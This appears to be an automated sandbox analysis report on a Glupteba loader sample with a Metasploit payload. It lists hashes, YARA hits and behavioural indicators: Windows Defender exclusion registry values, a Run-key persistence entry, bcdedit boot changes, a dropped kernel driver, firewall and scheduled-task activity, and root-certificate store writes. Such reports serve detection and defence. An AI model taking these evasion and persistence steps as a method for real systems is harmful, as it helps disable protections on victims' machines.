glupteba | 48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e

Analysis

max time kernel
94s
max time network
151s
platform
windows7_x64
resource
win7-20220414-en
submitted
14-07-2022 02:03

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General

Target

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Size

3.9MB
MD5

6cdb82a5248095408ead1969b1c30f4b
SHA1

6414d0f3dc303c834f0ddce218139348074bbdac
SHA256

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e
SHA512

c733680634d575fee025768842f769e9409e6e90a4d05a2eea572b489107448ab87f86205f742e66cc95acb78093b26b0cbcc1e1021ec325d82535213f39401a

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 7 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1248-56-0x0000000003630000-0x0000000003E34000-memory.dmp	family_glupteba
behavioral1/memory/1248-57-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral1/memory/1248-58-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral1/memory/856-64-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral1/memory/856-69-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral1/memory/1720-72-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba
behavioral1/memory/1720-73-0x0000000000400000-0x0000000002F5D000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Windows security bypass 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WhiteLeaf = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

Modifies boot configuration data using bcdedit 14 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
1380	bcdedit.exe
1352	bcdedit.exe
1248	bcdedit.exe
1144	bcdedit.exe
364	bcdedit.exe
960	bcdedit.exe
1496	bcdedit.exe
1660	bcdedit.exe
1640	bcdedit.exe
1936	bcdedit.exe
516	bcdedit.exe
560	bcdedit.exe
1580	bcdedit.exe
1556	bcdedit.exe

Drops file in Drivers directory 1 IoCs

Processes:

csrss.exe

description ioc process

File created C:\Windows\system32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 3 IoCs

Processes:

csrss.exepatch.exedsefix.exe

pid process

1720 csrss.exe
1816 patch.exe
956 dsefix.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

1000 netsh.exe
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

pid	process
1720	csrss.exe
1816	patch.exe
956	dsefix.exe

pid	process
1000	netsh.exe

Loads dropped DLL 12 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exepatch.execsrss.exe

pid	process
856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
856	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
860
1816	patch.exe
1816	patch.exe
1816	patch.exe
1816	patch.exe
1816	patch.exe
1816	patch.exe
1816	patch.exe
1816	patch.exe
1720	csrss.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WhiteLeaf = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000\Software\Microsoft\Windows\CurrentVersion\Run\WhiteLeaf = "\"C:\\Windows\\rss\\csrss.exe\""	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 3 IoCs

Processes:

48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exemakecab.exe

description	ioc	process
File opened for modification	C:\Windows\rss	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
File created	C:\Windows\rss\csrss.exe	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20220714044236.cab	makecab.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1028 schtasks.exe
1628 schtasks.exe

pid	process
1028	schtasks.exe
1628	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

netsh.execsrss.exe48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0"	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-472 = "Ekaterinburg Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-521 = "N. Central Asia Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-103 = "Microsoft Corporation"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-385 = "Namibia Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	48bcb0bff9f10f88902a821b34b2e9df15fc1d9af72374329bbb3e1014ded70e.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

csrss.exepatch.exe

description	ioc	process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 1400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f39030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a40f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a32000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 19000000010000001000000014c3bd3549ee225aece13734ad8ca0b80f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a41400000001000000140000004e2254201895e6e36ee60ffafab912ed06178f392000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d